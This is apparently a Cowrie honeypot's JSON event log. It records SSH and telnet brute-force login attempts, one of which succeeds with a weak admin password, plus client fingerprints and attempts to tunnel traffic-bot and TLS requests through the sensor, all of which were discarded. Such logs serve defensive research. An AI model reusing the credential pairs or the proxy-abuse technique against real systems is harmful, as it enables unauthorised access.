{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":41800,"dst_ip":"159.203.135.109","dst_port":23,"session":"5e413c4da89a","protocol":"telnet","message":"New connection: 128.199.8.54:41800 (159.203.135.109:23) [session: 5e413c4da89a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:46:35.239048Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:46:35.807394Z","src_ip":"91.92.40.36","session":"9d57915014d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:46:35.810952Z","src_ip":"91.92.40.36","session":"9d57915014d4","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:46:35.827554Z","src_ip":"123.27.168.40","session":"a669f1583b90","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"123qwe","message":"login attempt [debian/123qwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:46:36.150226Z","src_ip":"91.92.40.36","session":"7925657cb7d8","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:46:36.248339Z","session":"a669f1583b90","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:46:36.489933Z","src_ip":"123.27.168.40","session":"a669f1583b90","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPad; CPU OS 14_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.4.1 Mobile/18D61 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1190\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=UnB5MzwoeDREZ0JuZ15TYw%3D%3DMuS%2FUuTuzE3qXgPSZy4wrz%2FN5f5qFfb7Tdp3ObCVL4Ikm2xMEbX68EK6SVWl1r%2FXYAS6FK4hLRtA8bSZ%2FRDnjRAg9nWSLVeofIvJ2M0ZGjrnpvPuWc0%2FuIioy3RUqpk%2BAhYwCFJwqFVyDjPrXg9Kodg1cAc8ZN6pb1vHOFDY9ljK%2B12juwcMKpaGt7pbL0mEeaXO%2FhlX%2FtXZaZFohjVOHIVInYnmCGx2N5MtybMePFDCQxngO1zIzQ%2Bz6dHN4XrbFiuoTaoghizSLyuV0YBJsQ4F0fa6IpjZTUMm1paXrd5ftU8MGQClV0wKNPaPWvOs55HxF4eCWSgqsK8g3pblDGI835S7D9I%2FbajUIVb5XUpVMjP%2FnUd02aEKhwSaraAllmJEZO8UGpIhpMlcJ6ED8QSmiP5s6Mbr%2BMy5lN9GzSmDiF6wq3TpaU9F%2BL9Hhp6WzrlMAoJjx%2B%2BjYP3b9pFroNed%2BQanJS3vZKFA%2FU%2F1B%2FMQ4IixyqubBER%2B5lqoPEiTIpRuJK0dz0JgwT%2FUOjYmrzLb%2BiN9xDZQ8%2FEzJyaAy1ODVcqcgEvvXnnOu6QXkQXHH4l9IUrfOg2PcnKRK029Y1ocwOb6bTitfFMC8l9AkEq7DzlLDUmmOBwE4DWJhFcbY9bksgITU3yjWf5qfgoux8xtydW4OFXdC%2FHX%2BvnpTHXaS3Fg1%2BguDuWK8xCbMXJ%2BG9w3JERjsJ5Z1uO2LugPU%2BjGQ%2FoWf9vMuRILQFEuvG75swmFffek0b3glgPv48ALk5R0kRmwDiDjJpotqsKZ9M6SKhnW13beS7AXcQ0PTUci%2Bughzst5IYdgtxBddOoYlWU9tXRWgkgcbiR8d0BIRqa1sI7GNHueqDw4%2B4jgOJeSwL7%2FQFee1C3nrFYKGQaFCUdDhdRGE4FNn7OFQmOFpTSWcYMBQAFKtMekhRo35xM5pZuq6fuldc7m3%2BgP%2FSsdn3Ss8mBqd5Pqx4URBdzew6PnJmHtaFmWL6i99kU8aSMHSCR0uOkwL5%2FWCq404gPFnqEkCwE9tYs0oCEvmqRe9xVYf7K1pfZjYucWNEpPp523VFLUnIvzrTkMqI7cnyhm'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPad; CPU OS 14_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.4.1 Mobile/18D61 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1190\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=UnB5MzwoeDREZ0JuZ15TYw%3D%3DMuS%2FUuTuzE3qXgPSZy4wrz%2FN5f5qFfb7Tdp3ObCVL4Ikm2xMEbX68EK6SVWl1r%2FXYAS6FK4hLRtA8bSZ%2FRDnjRAg9nWSLVeofIvJ2M0ZGjrnpvPuWc0%2FuIioy3RUqpk%2BAhYwCFJwqFVyDjPrXg9Kodg1cAc8ZN6pb1vHOFDY9ljK%2B12juwcMKpaGt7pbL0mEeaXO%2FhlX%2FtXZaZFohjVOHIVInYnmCGx2N5MtybMePFDCQxngO1zIzQ%2Bz6dHN4XrbFiuoTaoghizSLyuV0YBJsQ4F0fa6IpjZTUMm1paXrd5ftU8MGQClV0wKNPaPWvOs55HxF4eCWSgqsK8g3pblDGI835S7D9I%2FbajUIVb5XUpVMjP%2FnUd02aEKhwSaraAllmJEZO8UGpIhpMlcJ6ED8QSmiP5s6Mbr%2BMy5lN9GzSmDiF6wq3TpaU9F%2BL9Hhp6WzrlMAoJjx%2B%2BjYP3b9pFroNed%2BQanJS3vZKFA%2FU%2F1B%2FMQ4IixyqubBER%2B5lqoPEiTIpRuJK0dz0JgwT%2FUOjYmrzLb%2BiN9xDZQ8%2FEzJyaAy1ODVcqcgEvvXnnOu6QXkQXHH4l9IUrfOg2PcnKRK029Y1ocwOb6bTitfFMC8l9AkEq7DzlLDUmmOBwE4DWJhFcbY9bksgITU3yjWf5qfgoux8xtydW4OFXdC%2FHX%2BvnpTHXaS3Fg1%2BguDuWK8xCbMXJ%2BG9w3JERjsJ5Z1uO2LugPU%2BjGQ%2FoWf9vMuRILQFEuvG75swmFffek0b3glgPv48ALk5R0kRmwDiDjJpotqsKZ9M6SKhnW13beS7AXcQ0PTUci%2Bughzst5IYdgtxBddOoYlWU9tXRWgkgcbiR8d0BIRqa1sI7GNHueqDw4%2B4jgOJeSwL7%2FQFee1C3nrFYKGQaFCUdDhdRGE4FNn7OFQmOFpTSWcYMBQAFKtMekhRo35xM5pZuq6fuldc7m3%2BgP%2FSsdn3Ss8mBqd5Pqx4URBdzew6PnJmHtaFmWL6i99kU8aSMHSCR0uOkwL5%2FWCq404gPFnqEkCwE9tYs0oCEvmqRe9xVYf7K1pfZjYucWNEpPp523VFLUnIvzrTkMqI7cnyhm'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:46:36.492606Z","src_ip":"123.27.168.40","session":"a669f1583b90","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:46:36.509175Z","session":"a669f1583b90","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:46:36.979986Z","src_ip":"123.27.168.40","session":"a669f1583b90","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xbf52[X\\xf7:@!Qq\\xb6moLZ\\x1f\\xbe\\xf9p\\x1f\\xbcR}\\xa6]/\\xf88\\x1b\\xca\\x96 D<\\xed\\x06\\xde\\xd4\\n\\x15\\x10:\\x04\\xa7\\xc4\\x16\\xf3>\\xa9\\xa1\\xb2K1\\xf1\\xadC&\\x01\\x1eQ\\x12\\x84\\x83\\xe4\\x00 \\xba\\xba\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xfa\\xfa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xea\\xea\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xea\\xea\\x00\\x01\\x00\\x00\\x1d\\x00 4\\xed\\x9d6\\xf4\\xce\\x94\\x88\\xafe\\xa8\\x8e\\xe8d\\xf6z\\xdf\\xdcH\\x82vC\\xdd\\x9c\\x9c\\xf0\\x86\\x14\\xa5H<x\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nJJ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02**\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xbf52[X\\xf7:@!Qq\\xb6moLZ\\x1f\\xbe\\xf9p\\x1f\\xbcR}\\xa6]/\\xf88\\x1b\\xca\\x96 D<\\xed\\x06\\xde\\xd4\\n\\x15\\x10:\\x04\\xa7\\xc4\\x16\\xf3>\\xa9\\xa1\\xb2K1\\xf1\\xadC&\\x01\\x1eQ\\x12\\x84\\x83\\xe4\\x00 \\xba\\xba\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xfa\\xfa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xea\\xea\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xea\\xea\\x00\\x01\\x00\\x00\\x1d\\x00 4\\xed\\x9d6\\xf4\\xce\\x94\\x88\\xafe\\xa8\\x8e\\xe8d\\xf6z\\xdf\\xdcH\\x82vC\\xdd\\x9c\\x9c\\xf0\\x86\\x14\\xa5H<x\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nJJ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02**\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:46:36.982566Z","src_ip":"123.27.168.40","session":"a669f1583b90","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:46:37.223722Z","session":"a669f1583b90","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:46:37.462004Z","src_ip":"123.27.168.40","session":"a669f1583b90","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xbe\\xa2\\x8f+;O\\xe9\\x92\\xea\\xb7\\x97W&e|\\xc1EN3\\xb8\\x0e\\x91tp\\x96\\x9f\\xc2\\xc1v\\x1d\\xf1\\xbf 2\\x98/T\\xfb\\xbe\\xc6\\xefX=\\xf3\\x9c\\x86\\xa4\\x13\\x83h\\x10\\x95\\xac%2\\x86\\x0bp\\xd0\\x92\\xd7\\xbe\\xe3\\xa8\\xdd\\x00\"\\x8a\\x8a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91::\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xfa\\xfa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xfa\\xfa\\x00\\x01\\x00\\x00\\x1d\\x00 \\xb4T\\x83\\x02le#F\\xb5\\xfe\\xc3\\x8b~-\\xba\\x05\\xcfU\\x08k\\xf9\\xe4G\\xdfd9\\xb2\\x9e\\xbbr!A\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xba\\xba\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x1a\\x1a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xbe\\xa2\\x8f+;O\\xe9\\x92\\xea\\xb7\\x97W&e|\\xc1EN3\\xb8\\x0e\\x91tp\\x96\\x9f\\xc2\\xc1v\\x1d\\xf1\\xbf 2\\x98/T\\xfb\\xbe\\xc6\\xefX=\\xf3\\x9c\\x86\\xa4\\x13\\x83h\\x10\\x95\\xac%2\\x86\\x0bp\\xd0\\x92\\xd7\\xbe\\xe3\\xa8\\xdd\\x00\"\\x8a\\x8a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91::\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xfa\\xfa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xfa\\xfa\\x00\\x01\\x00\\x00\\x1d\\x00 \\xb4T\\x83\\x02le#F\\xb5\\xfe\\xc3\\x8b~-\\xba\\x05\\xcfU\\x08k\\xf9\\xe4G\\xdfd9\\xb2\\x9e\\xbbr!A\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xba\\xba\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x1a\\x1a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:46:37.465259Z","src_ip":"123.27.168.40","session":"a669f1583b90","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:46:37.790250Z","src_ip":"123.27.168.40","session":"a669f1583b90","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"suliyilei3","password":"suliyilei3","message":"login attempt [suliyilei3/suliyilei3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:46:39.336033Z","src_ip":"91.92.40.36","session":"9d57915014d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.1","message":"Connection lost after 10.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:46:39.415892Z","src_ip":"91.92.40.36","session":"7925657cb7d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":45578,"dst_ip":"159.203.135.109","dst_port":23,"session":"75d85f135599","protocol":"telnet","message":"New connection: 128.199.8.54:45578 (159.203.135.109:23) [session: 75d85f135599]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:46:40.935313Z"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:46:40.981931Z","src_ip":"91.92.40.36","session":"9d57915014d4","protocol":"ssh"}
